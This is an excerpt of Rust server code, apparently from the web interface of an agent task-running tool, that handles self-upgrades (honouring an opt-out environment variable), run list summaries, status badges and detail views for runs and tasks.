3593                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3594            let mut response = (error.status, Json(&failure)).into_response();
3595            if let Some(value) = failure
3596                .retry_after_secs
3597                .and_then(|secs| secs.to_string().parse().ok())
3598            {
3599                response.headers_mut().insert("retry-after", value);
3600            }
3601            response
3602        }
3603        Err(error) => error.into_response(),
3604    }
3605}
3606
3607async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3608    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3609        return Err(ApiError::conflict(
3610            "an upgrade is already in progress (this process started one and it \
3611             has not finished or failed yet)",
3612        ));
3613    }
3614    let recorded = updater::read_progress(&ui.home);
3615    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3616        return Err(ApiError::conflict(format!(
3617            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3618             stays stuck, restart the deck; on start it settles a stale record.",
3619            p.stage.as_str(),
3620            p.from,
3621            p.to.as_deref().unwrap_or("?"),
3622        )));
3623    }
3624
3625    // The same kill switch the background check honours (`disabled_by_env`),
3626    // checked before anything else for the same reason it is read before the
3627    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3628    // contact GitHub from this process", and a button press must not
3629    // override that any more than a broken `magi.toml` may.
3630    if crate::updater::disabled_by_env() {
3631        return Ok((
3632            StatusCode::OK,
3633            Json(UpgradeView {
3634                from: env!("CARGO_PKG_VERSION").to_owned(),
3635                to: None,
3636                detail: format!(
3637                    "Automatic updates are disabled by {}. Nothing was parked \
3638                     and nothing restarted.",
3639                    crate::updater::NO_AUTOUPDATE_ENV
3640                ),
3641            }),
3642        ));
3643    }
3644
3645    // Check before disturbing listeners or scheduling: no available update
3646    // means there is no reason to restart anything.
3647    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3648    let from = env!("CARGO_PKG_VERSION").to_owned();
3649    let latest = match crate::updater::Checker::new(&cfg.update) {
3650        Some(checker) => checker.newer_release().await,
3651        None => Ok(None),
3652    };
3653    upgrade_checked(ui, from, latest)
3654}
3655
3656fn upgrade_checked(
3657    ui: &Arc<Ui>,
3658    from: String,
3659    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3660) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3661    upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3662}
3663
3664fn upgrade_checked_for(
3665    ui: &Arc<Ui>,
3666    from: String,
3667    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3668    trigger: updater::UpgradeTrigger,
3669) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3670    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3671    let Some(latest) = latest else {
3672        return Ok((
3673            StatusCode::OK,
3674            Json(UpgradeView {
3675                from,
3676                to: None,
3677                detail: "Already on the newest release. Nothing was parked \
3678                         and nothing restarted."
3679                    .to_owned(),
3680            }),
3681        ));
3682    };
3683
3684    if let Err(error) = daemon::scheduler_restart_options(&ui.home) {
3685        let detail = format!("cannot determine scheduler restart state: {error:#}");
3686        if trigger == updater::UpgradeTrigger::Auto {
3687            updater::log_warn(&ui.home, &format!("auto-upgrade: {detail}"));
3688        }
3689        return Err(ApiError::internal(detail));
3690    }
3691    if trigger == updater::UpgradeTrigger::Auto {
3692        updater::log_step(&ui.home, "auto-upgrade: beginning update and restart");
3693    }
3694
3695    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3696
3697    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3698    // poll must see a `Downloading` stage immediately, not whenever the
3699    // spawned task happens to get scheduled.
3700    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3701    progress.trigger = trigger;
3702    updater::write_progress_logged(&ui.home, &progress);
3703
3704    let home = ui.home.clone();
3705    ui.upgrade_spawned
3706        .store(true, std::sync::atomic::Ordering::SeqCst);
3707    let spawned = Arc::clone(&ui.upgrade_spawned);
3708    let runner = ui.upgrade_runner;
3709    let failed = ui.auto_failed_tag.clone();
3710    let tag = latest.tag_name.clone();
3711    tokio::spawn(async move {
3712        if let Err(e) = runner(home.clone()).await {
3713            if trigger == updater::UpgradeTrigger::Auto {
3714                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3715            }
3716            tracing::error!("the upgrade did not complete: {e:#}");
3717            // A failure of this attempt says nothing about a handover an
3718            // earlier request already has in flight; checked and written
3719            // under the progress lock.
3720            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3721            // Release only after failure bookkeeping, before accepting a retry.
3722            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3723        }
3724    });
3725
3726    Ok((
3727        StatusCode::ACCEPTED,
3728        Json(UpgradeView {
3729            from,
3730            to: Some(latest.tag_name),
3731            detail,
3732        }),
3733    ))
3734}
3735
3736/// Replace the binary, then ask [`serve`] to hand the address over.
3737///
3738/// Separated from the handler so the 202 is already on its way, and separated
3739/// from the spawn so the successor starts only after the listener is dropped.
3740async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3741    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3742    // hang the upgrade for as long as the process lives.
3743    crate::updater::run_self_update(true, false, true).await?;
3744    updater::log_step(&home, "binary replaced - recording the replaced stage");
3745    if let Some(mut progress) = updater::read_progress(&home) {
3746        progress.advance(updater::Stage::Replaced);
3747        updater::write_progress_logged(&home, &progress);
3748    }
3749    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3750    HANDOVER.notify_one();
3751    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3752    Ok(())
3753}
3754
3755/// One row in the run list.
3756///
3757/// The list route returns this rather than whole `RunState`s: the summary of a
3758/// run is a few hundred bytes and the state is megabytes, and the difference
3759/// is what makes the history usable on a mobile link.
3760#[derive(Debug, Serialize)]
3761struct RunSummary {
3762    activity: String,
3763    id: String,
3764    short: String,
3765    status: String,
3766    done: bool,
3767    instruction: String,
3768    title: String,
3769    repo: String,
3770    repo_name: String,
3771    created_at: String,
3772    updated_at: String,
3773    candidates: usize,
3774    viable: usize,
3775    judges: usize,
3776    winner: Option<char>,
3777    reviews: usize,
3778    quota_losses: usize,
3779    event: Option<String>,
3780    /// The later attempt at the same task that replaced this one, if any.
3781    ///
3782    /// Two cards with one title is otherwise unreadable: this is what lets
3783    /// the deck say "superseded by 4043" on the older of the pair.
3784    superseded_by: Option<String>,
3785    /// Blocked on a question nobody has answered.
3786    ///
3787    /// Derived from the question store rather than stored on the run: an agent
3788    /// calling `magi ask` blocks mid-node, and writing a status from there
3789    /// would race the graph's own save of `run.json` and be overwritten at the
3790    /// next node boundary. Asking the store is always true and never races.
3791    waiting: bool,
3792    /// Whether the process recorded as driving this run can still be proven
3793    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3794    /// rather than presenting its last graph node as still in flight.
3795    live: crate::run::Liveness,
3796    /// The land loop's last look at the pull request, when there is one.
3797    pr: Option<crate::run::PrRecord>,
3798    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3799    /// design — never picked up by the PR-polling merge watcher, unlike an
3800    /// ordinary `Ready` that may still be a live landing candidate. See
3801    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3802    /// re-deriving the same check from `status` and `merge.mode` itself.
3803    unmerged_by_design: bool,
3804    /// Derived presentation status matching [`RunDetailView::display_status`].
3805    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3806    #[serde(default)]
3807    display_status: String,
3808    /// What the status badge shows: `display_status`, or `superseded` for a
3809    /// non-live run a later attempt replaced. See [`run_badge_status`].
3810    #[serde(default)]
3811    badge_status: String,
3812    /// Who started the run, as the one label every surface shares; the
3813    /// "origin unknown" wording when the record predates origins.
3814    origin_label: String,
3815}
3816
3817impl RunSummary {
3818    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3819        Self {
3820            activity: crate::run_progress::activity(state, live, waiting),
3821            id: state.id.clone(),
3822            short: state.short().to_owned(),
3823            status: status_word(state.status),
3824            done: state.status.done(),
3825            unmerged_by_design: state.unmerged_by_design(),
3826            display_status: run_display_status(state, waiting, live),
3827            badge_status: run_display_status(state, waiting, live),
3828            instruction: state.instruction.clone(),
3829            title: title_from(&state.instruction, TITLE_MAX),
3830            repo: state.repo.display().to_string(),
3831            repo_name: state
3832                .repo
3833                .file_name()
3834                .map(|n| n.to_string_lossy().into_owned())
3835                .unwrap_or_default(),
3836            created_at: state.created_at.to_string(),
3837            updated_at: state.updated_at.to_string(),
3838            candidates: state.candidates.len(),
3839            viable: state.viable().len(),
3840            judges: state.config.graph.judges,
3841            winner: state.winner().map(|c| c.label),
3842            reviews: state.reviews.len(),
3843            quota_losses: state.quota.len(),
3844            event: state
3845                .verification_blocking_cause()
3846                .or_else(|| state.events.last().map(|e| e.message.clone())),
3847            waiting,
3848            live,
3849            // Filled in by the list route, which is the only place that can
3850            // see a task's other attempts.
3851            superseded_by: None,
3852            pr: state.pr.clone(),
3853            origin_label: crate::run::origin_label(state.origin.as_ref()),
3854        }
3855    }
3856}
3857
3858/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3859/// the same string `serde` writes for the status inside a full run.
3860fn status_word(status: RunStatus) -> String {
3861    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3862    // was a third way of naming the same statuses, and one that changed
3863    // silently with a derive.
3864    status.as_str().to_owned()
3865}
3866
3867/// The presentation status for a run, unified across summaries and details.
3868///
3869/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
3870/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
3871/// runs awaiting operator answers.
3872fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3873    if waiting {
3874        return "waiting".to_owned();
3875    }
3876    if state.unmerged_by_design() {
3877        return "unmerged".to_owned();
3878    }
3879    if !state.status.done() && live == crate::run::Liveness::Dead {
3880        // The driver claim clears this flag before saving another event.
3881        // A previous park event can therefore outlive a resumed driver.
3882        if state.parked {
3883            return "parked".to_owned();
3884        }
3885        return "stale".to_owned();
3886    }
3887    status_word(state.status)
3888}
3889
3890/// The word a run's status badge shows: `display_status`, except that a
3891/// non-terminal run which is not provably live and was replaced by a later
3892/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3893///
3894/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3895/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3896/// own word, so superseded never claims more than "not live".
3897fn run_badge_status(
3898    state: &RunState,
3899    display_status: &str,
3900    live: crate::run::Liveness,
3901    superseded: bool,
3902) -> String {
3903    if state.status.done() || live == crate::run::Liveness::Live {
3904        return display_status.to_owned();
3905    }
3906    if superseded {
3907        return "superseded".to_owned();
3908    }
3909    // A dead run's `display_status` is `stale`, except that a deliberate park
3910    // and an open owner question keep their own word: neither is a crash, and
3911    // the question still needs an answer. Anything else dead reads `stale`.
3912    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3913        return "stale".to_owned();
3914    }
3915    display_status.to_owned()
3916}
3917
3918/// `?limit=`, clamped by the handler.
3919#[derive(Debug, Deserialize)]
3920struct ListQuery {
3921    #[serde(default)]
3922    limit: Option<usize>,
3923    /// Exact ids only; an empty value requests no rows (except queue blockers).
3924    ids: Option<String>,
3925}
3926
3927impl ListQuery {
3928    fn contains(&self, id: &str) -> bool {
3929        self.ids
3930            .as_ref()
3931            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3932    }
3933}
3934
3935async fn runs_list(
3936    State(ui): State<Arc<Ui>>,
3937    Query(q): Query<ListQuery>,
3938) -> ApiResult<Json<Vec<RunSummary>>> {
3939    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3940    blocking(move || {
3941        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3942        let states = run_ids(&ui.runs)
3943            .into_iter()
3944            // A run whose state cannot be read is skipped, not fatal: a run
3945            // killed mid-write must not blank the history of every other one.
3946            // The detail route still explains it, which is where an operator
3947            // asking "what happened to that run" ends up.
3948            .filter_map(|id| read_run(&ui.runs, &id).ok())
3949            .take(limit)
3950            .filter(|run| q.contains(&run.id));
3951        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3952        let summaries = summarize(
3953            states,
3954            &open_runs,
3955            &claimed,
3956            &superseded,
3957            |p| probe.borrow_mut().status(p),
3958            |p| probe.borrow_mut().started_at(p),
3959        );
3960        Ok(Json(summaries))
3961    })
3962    .await
3963}
3964
3965/// Everything the per-run rows share, read once: runs with an open question,
3966/// runs a live daemon claims, and the superseded map. Asking per run re-read
3967/// every question file and the daemon status file for each of hundreds of
3968/// runs, and spawned a process probe per run on Windows.
3969fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3970    let open_runs: HashSet<String> = ui
3971        .questions
3972        .list()
3973        .into_iter()
3974        .filter(|q| q.status.open())
3975        .map(|q| q.run)
3976        .collect();
3977    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3978        .into_iter()
3979        .map(|c| c.run)
3980        .collect();
3981    (open_runs, claimed, ui.queue.superseded())
3982}
3983
3984/// The rows of the run list, given everything that is shared between them.
3985///
3986/// Pure over its inputs so a test can count how often the process queries are
3987/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
3988/// takes, called at most once per run.
3989fn summarize<I, S, D>(
3990    states: I,
3991    open_runs: &HashSet<String>,
3992    claimed: &HashSet<String>,
3993    superseded: &HashMap<String, String>,
3994    mut status_q: S,
3995    mut identity_q: D,
3996) -> Vec<RunSummary>
3997where
3998    I: IntoIterator<Item = RunState>,
3999    S: FnMut(u32) -> Option<bool>,
4000    D: FnMut(u32) -> Option<String>,
4001{
4002    states
4003        .into_iter()
4004        .map(|state| {
4005            let waiting = open_runs.contains(&state.id);
4006            let live =
4007                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4008            let mut row = RunSummary::of(&state, waiting, live);
4009            row.superseded_by = state
4010                .pr_taken_over_by
4011                .as_ref()
4012                .or_else(|| superseded.get(&state.id))
4013                .map(String::as_str)
4014                .map(crate::run::short_of)
4015                .map(str::to_owned);
4016            row.badge_status = run_badge_status(
4017                &state,
4018                &row.display_status,
4019                live,
4020                row.superseded_by.is_some(),
4021            );
4022            row
4023        })
4024        .collect()
4025}
4026
4027/// A run as the detail route hands it to the phone.
4028///
4029/// The whole state, flattened, plus `instruction_md`: the Task panel renders
4030/// the instruction as markdown, and the raw `instruction` field this struct
4031/// still carries (unchanged) is what a client wanting the exact bytes reads
4032/// instead.
4033#[derive(Debug, Serialize)]
4034struct RunDetailView {
4035    progress: crate::run_progress::Progress,
4036    stop_reason: Option<String>,
4037    #[serde(flatten)]
4038    state: RunState,
4039    instruction_md: Vec<md::Node>,
4040    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
4041    /// mirror the records they come from, index for index; the raw strings
4042    /// stay in `state` and decide whether a block is shown at all.
4043    #[serde(flatten)]
4044    prose_md: RunProseMd,
4045    /// Whether a process is actually still driving this run: `"live"`,
4046    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
4047    ///
4048    /// `state.active` (flattened in above) is only ever cleared by the
4049    /// process that populated it; a killed one leaves its last wave's
4050    /// entries behind. Carrying this alongside is what lets the phone rail
4051    /// tell "this seat is still answering" from "this seat was still
4052    /// answering when whatever was driving this run died" without a second
4053    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
4054    /// proof of either. A string rather than a bool on purpose: a daemon
4055    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
4056    /// and neither proven is `"unknown"` — folding that third case into
4057    /// either end of a bool is exactly the wrong call for a phone screen an
4058    /// operator uses to decide whether to wait or to act.
4059    live: crate::run::Liveness,
4060    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
4061    /// alongside the flattened `state` rather than inside it, since
4062    /// `RunState` has no business knowing which of its own methods a caller
4063    /// wants serialized.
4064    unmerged_by_design: bool,
4065    /// Same field and meaning as [`RunSummary::waiting`].
4066    #[serde(default)]
4067    waiting: bool,
4068    /// Same derived presentation status as [`RunSummary::display_status`].
4069    #[serde(default)]
4070    display_status: String,
4071    /// Same field and meaning as [`RunSummary::badge_status`].
4072    #[serde(default)]
4073    badge_status: String,
4074    /// Same field and meaning as [`RunSummary::done`]: whether the status is
4075    /// terminal. The client's `landView` keys on it, and the flattened state
4076    /// has no such field, so without it a finished run's stale `open` PR
4077    /// would be painted as live on the detail page.
4078    done: bool,
4079    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
4080    /// route fills it from [`Queue::superseded`], the detail route from
4081    /// [`Queue::superseded_by`], and both read the same underlying task
4082    /// order. Without this the detail page could only ever show a red
4083    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
4084    /// with nothing anywhere saying so — an operator opening it had no way
4085    /// to tell "this is done elsewhere" from "this still needs a retry".
4086    superseded_by: Option<String>,
4087    /// The task's current attempt, when this run is an older one — resolved
4088    /// from [`Queue::latest_attempt`] and this run's own state, not left for
4089    /// the client to derive.
4090    ///
4091    /// Three things a client cannot safely do on its own drove this onto the
4092    /// server: it has to name the chain's *current head*, not just the next
4093    /// attempt (`superseded_by` above), because an intermediate retry in a
4094    /// longer chain can itself still be unresolved; it has to resolve to a
4095    /// real id rather than a short id a client would have to guess a full id
4096    /// from, which is ambiguous the moment two runs share a suffix; and it
4097    /// has to read that head's own status directly, because whether a run
4098    /// list a client happens to have cached even contains that attempt
4099    /// depends on a page limit this route knows nothing about.
4100    latest_attempt: Option<LatestAttempt>,
4101    /// The queue task this run belongs to, so the detail page can link back
4102    /// to the task's own page. `None` for a run nobody queued (`magi run`).
4103    task: Option<TaskRef>,
4104    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
4105    /// run recorded before origins existed. `origin` itself (flattened in
4106    /// with `state`) is `null` in that case.
4107    origin_label: String,
4108    /// Each recorded pass over this run, with the cause it stopped for. Empty
4109    /// for a run from before passes were kept: its earlier passes are unknown.
4110    pass_views: Vec<PassView>,
4111}
4112
4113/// A task named from a run's detail page.
4114#[derive(Debug, Serialize)]
4115struct TaskRef {
4116    id: String,
4117    short: String,
4118    title: String,
4119    /// [`Source::label`], e.g. `chat@a1b2`.
4120    source_label: String,
4121    /// Where the task came from, when that place has a page; see [`source_link`].
4122    source_link: Option<SourceLink>,
4123    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
4124    status: &'static str,
4125    attempts: usize,
4126    max_attempts: usize,
4127    /// This run is the last entry of the task's run list.
4128    is_latest: bool,
4129    /// The task's newest run, when it is not this one.
4130    latest: Option<RunBrief>,
4131    /// The run that finished a `done` task (merged, or already in the base).
4132    finished_by: Option<RunBrief>,
4133    /// The task is `done` but no run on record finished it: closed by hand.
4134    closed_by_hand: bool,
4135}
4136
4137/// The page that filed a task, as the UI links to it.
4138#[derive(Debug, PartialEq, Eq, Serialize)]
4139struct SourceLink {
4140    /// `chat` (a conversation) or `run` (a run's node).
4141    kind: &'static str,
4142    /// The full id, never the short one in the label.
4143    id: String,
4144    /// The hash route that opens it.
4145    href: String,
4146}
4147
4148/// Percent-encode everything outside the URL-unreserved set.
4149fn encode_segment(raw: &str) -> String {
4150    let mut out = String::with_capacity(raw.len());
4151    for b in raw.bytes() {
4152        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4153            out.push(b as char);
4154        } else {
4155            out.push_str(&format!("%{b:02X}"));
4156        }
4157    }
4158    out
4159}
4160
4161/// The one place that decides where a task's source links to. A chat
4162/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
4163/// a person or an imported issue has no page, so no link.
4164fn source_link(source: &Source) -> Option<SourceLink> {
4165    let Source::Agent { run, node } = source else {
4166        return None;
4167    };
4168    let (kind, route) = if node == crate::queue::CHAT_NODE {
4169        ("chat", "chat")
4170    } else {
4171        ("run", "runs")
4172    };
4173    Some(SourceLink {
4174        kind,
4175        id: run.clone(),
4176        href: id_links::page_href(route, run),
4177    })
4178}
4179
4180/// The parent task of a follow-up, when its file can still be read.
4181#[derive(Debug, Serialize, PartialEq)]
4182struct FollowUpParent {
4183    id: String,
4184    short: String,
4185    title: String,
4186    /// The parent's own status (`TaskStatus::as_str`).
4187    status: &'static str,
4188    href: String,
4189}
4190
4191/// The merged run a follow-up was filed from.
4192#[derive(Debug, Serialize, PartialEq)]
4193struct FollowUpRun {
4194    id: String,
4195    short: String,
4196    /// `None` when the run's record cannot be read.
4197    status: Option<&'static str>,
4198    /// `None` unless the record could be read: never a dead link.
4199    href: Option<String>,
4200}
4201
4202/// Where a follow-up task came from, resolved once per task page so the flow
4203/// chart and the detail block cannot disagree. See [`followup_origin`].
4204#[derive(Debug, Serialize, PartialEq)]
4205struct FollowUpOrigin {
4206    /// Present only when `origin_task` is set and that task still exists.
4207    parent: Option<FollowUpParent>,
4208    run: FollowUpRun,
4209    /// The merged pull request, verbatim. Not an href: the client passes it
4210    /// through `forgeUrl()` and renders text when that refuses it (the one
4211    /// exception to "the href rule is Rust's alone", since a forge URL is
4212    /// data from a record, not a route).
4213    pr: String,
4214    findings: Vec<String>,
4215    generation: u32,
4216}
4217
4218/// The one place that decides what a follow-up links to. A parent that cannot
4219/// be read (gone, or an id that names nothing) is `None`, never an error.
4220fn followup_origin(
4221    fu: &crate::queue::FollowUp,
4222    task: impl Fn(&str) -> Option<Task>,
4223    run: impl Fn(&str) -> Option<RunState>,
4224) -> FollowUpOrigin {
4225    let parent = fu
4226        .origin_task
4227        .as_deref()
4228        .and_then(task)
4229        .map(|t| FollowUpParent {
4230            short: t.short().to_owned(),
4231            href: format!("#/tasks/{}", encode_segment(&t.id)),
4232            status: t.status.as_str(),
4233            title: t.title,
4234            id: t.id,
4235        });
4236    let state = run(&fu.run);
4237    FollowUpOrigin {
4238        parent,
4239        run: FollowUpRun {
4240            short: run::short_of(&fu.run).to_owned(),
4241            status: state.as_ref().map(|s| s.status.as_str()),
4242            href: state
4243                .is_some()
4244                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4245            id: fu.run.clone(),
4246        },
4247        pr: fu.pr.clone(),
4248        findings: fu.findings.clone(),
4249        generation: fu.generation,
4250    }
4251}
4252
4253/// Another run of the same task, as named from a run's detail page.
4254#[derive(Debug, Serialize)]
4255struct RunBrief {
4256    id: String,
4257    short: String,
4258    /// `None` when the run's record cannot be read.
4259    status: Option<&'static str>,
4260    /// The task-page wording for how that pass ended.
4261    outcome: String,
4262    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
4263    badge: Option<String>,
4264}
4265
4266/// The task's overall outcome as seen from `this_run`'s page, classified with
4267/// the same exits the task page's flowchart uses.
4268fn task_outcome(
4269    task: &Task,
4270    this_run: &str,
4271    max_attempts: usize,
4272    read: impl Fn(&str) -> Option<RunState>,
4273) -> TaskRef {
4274    let max_attempts = task.effective_attempt_limit(max_attempts);
4275    let history = task_history(task, read);
4276    let brief = |h: &TaskRunView| RunBrief {
4277        id: h.id.clone(),
4278        short: h.short.clone(),
4279        status: h.status,
4280        outcome: h.exit.edge_label(h.status),
4281        badge: h.badge.clone(),
4282    };
4283    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4284    let latest = if is_latest {
4285        None
4286    } else {
4287        history.last().map(brief)
4288    };
4289    let done = task.status == TaskStatus::Done;
4290    let finished_by = done
4291        .then(|| {
4292            history
4293                .iter()
4294                .rev()
4295                .find(|h| {
4296                    matches!(
4297                        h.exit,
4298                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4299                    )
4300                })
4301                .map(brief)
4302        })
4303        .flatten();
4304    TaskRef {
4305        short: task.short().to_owned(),
4306        title: task.title.clone(),
4307        id: task.id.clone(),
4308        source_label: task.source.label(),
4309        source_link: source_link(&task.source),
4310        status: task.status.as_str(),
4311        attempts: task.attempts,
4312        max_attempts,
4313        is_latest,
4314        latest,
4315        closed_by_hand: done && finished_by.is_none(),
4316        finished_by,
4317    }
4318}
4319
4320/// The task's current attempt, as seen from an older one's detail page.
4321#[derive(Debug, Serialize)]
4322struct LatestAttempt {
4323    id: String,
4324    short: String,
4325    /// Whether this attempt itself settled with a result nobody needs to
4326    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
4327    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
4328    /// unconfirmed claim that no change was needed, which is exactly why it
4329    /// settles the task through `Held` rather than `Done` and still waits on
4330    /// a human to check the evidence; showing an older run as "finished
4331    /// elsewhere" on the strength of an unverified claim would bury the
4332    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
4333    /// in-flight status are excluded because they are exactly the
4334    /// unresolved states this field exists to tell apart from a real finish.
4335    resolved: bool,
4336    /// The attempt's own recorded status, so the page can say where it
4337    /// stands while it is not resolved yet.
4338    status: RunStatus,
4339    /// Whether that status is terminal (nothing is still running it).
4340    done: bool,
4341}
4342
4343/// Markdown for the free-text prose of a run, parallel to `RunState`.
4344#[derive(Debug, Default, Serialize)]
4345struct RunProseMd {
4346    /// `None` when the run has no design deliberation.
4347    advice_md: Option<AdviceMd>,
4348    /// One entry per candidate: the summary.
4349    candidate_summaries_md: Vec<Vec<md::Node>>,
4350    /// One entry per review round, in `reviews` order.
4351    reviews_md: Vec<RoundMd>,
4352}
4353
4354#[derive(Debug, Default, Serialize)]
4355struct AdviceMd {
4356    synthesis: Vec<md::Node>,
4357    /// One per record; empty for a seat with no proposal.
4358    approaches: Vec<Vec<md::Node>>,
4359}
4360
4361#[derive(Debug, Default, Serialize)]
4362struct RoundMd {
4363    /// One per reviewer record.
4364    reviewers: Vec<ReviewerMd>,
4365    /// One per `reconsideration` entry: the reason.
4366    reconsideration: Vec<Vec<md::Node>>,
4367    fix: Option<FixMd>,
4368}
4369
4370#[derive(Debug, Default, Serialize)]
4371struct ReviewerMd {
4372    summary: Vec<md::Node>,
4373    /// One per finding, in recorded order (not the display order).
4374    findings: Vec<Vec<md::Node>>,
4375}
4376
4377#[derive(Debug, Default, Serialize)]
4378struct FixMd {
4379    notes: Vec<md::Node>,
4380    /// One per rejection: the argument.
4381    rejected: Vec<Vec<md::Node>>,
4382}
4383
4384/// Parse a run's agent-written prose; a pure function of the state.
4385fn run_prose_md(state: &RunState) -> RunProseMd {
4386    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4387    RunProseMd {
4388        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4389            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4390            approaches: a
4391                .records
4392                .iter()
4393                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4394                .collect(),
4395        }),
4396        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4397        reviews_md: state
4398            .reviews
4399            .iter()
4400            .map(|round| RoundMd {
4401                reviewers: round
4402                    .reviews
4403                    .iter()
4404                    .map(|rec| ReviewerMd {
4405                        summary: nodes(&rec.summary),
4406                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4407                    })
4408                    .collect(),
4409                reconsideration: round
4410                    .reconsideration
4411                    .iter()
4412                    .map(|rv| nodes(&rv.reason))
4413                    .collect(),
4414                fix: round.fix.as_ref().map(|fix| FixMd {
4415                    notes: nodes(&fix.notes),
4416                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4417                }),
4418            })
4419            .collect(),
4420    }
4421}
4422
4423impl RunDetailView {
4424    fn of(
4425        state: RunState,
4426        waiting: bool,
4427        live: crate::run::Liveness,
4428        superseded_by: Option<String>,
4429        latest_attempt: Option<LatestAttempt>,
4430        task: Option<TaskRef>,
4431    ) -> Self {
4432        let display_status = run_display_status(&state, waiting, live);
4433        let stop_reason = crate::stop_reason::of(
4434            &state,
4435            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4436        );
4437        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4438        Self {
4439            progress: crate::run_progress::build(&state, live, waiting),
4440            stop_reason,
4441            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4442            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4443            prose_md: run_prose_md(&state),
4444            origin_label: crate::run::origin_label(state.origin.as_ref()),
4445            live,
4446            unmerged_by_design: state.unmerged_by_design(),
4447            waiting,
4448            display_status,
4449            badge_status,
4450            done: state.status.done(),
4451            superseded_by,
4452            latest_attempt,
4453            task,
4454            state,
4455        }
4456    }
4457}
4458
4459/// Core content needs neither the queue nor question/liveness evidence.
4460async fn run_core(
4461    State(ui): State<Arc<Ui>>,
4462    Path(id): Path<String>,
4463) -> ApiResult<Json<RunDetailView>> {
4464    blocking(move || {
4465        let id = resolve_run(&ui.runs, &id)?;
4466        let state = read_run(&ui.runs, &id)?;
4467        Ok(Json(RunDetailView::of(
4468            state,
4469            false,
4470            crate::run::Liveness::Unknown,
4471            None,
4472            None,
4473            None,
4474        )))
4475    })
4476    .await
4477}
4478
4479/// Lightweight observation: never replaces the evidence used by controls.
4480async fn run_progress(
4481    State(ui): State<Arc<Ui>>,
4482    Path(id): Path<String>,
4483) -> ApiResult<Json<serde_json::Value>> {
4484    blocking(move || {
4485        let id = resolve_run(&ui.runs, &id)?;
4486        let state = read_run(&ui.runs, &id)?;
4487        let live = state.liveness(crate::daemon::is_working_on(
4488            &ui.home,
4489            &id,
4490            Timestamp::now(),
4491        ));
4492        let waiting = !ui.questions.open_for(&id).is_empty();
4493        Ok(Json(serde_json::json!({
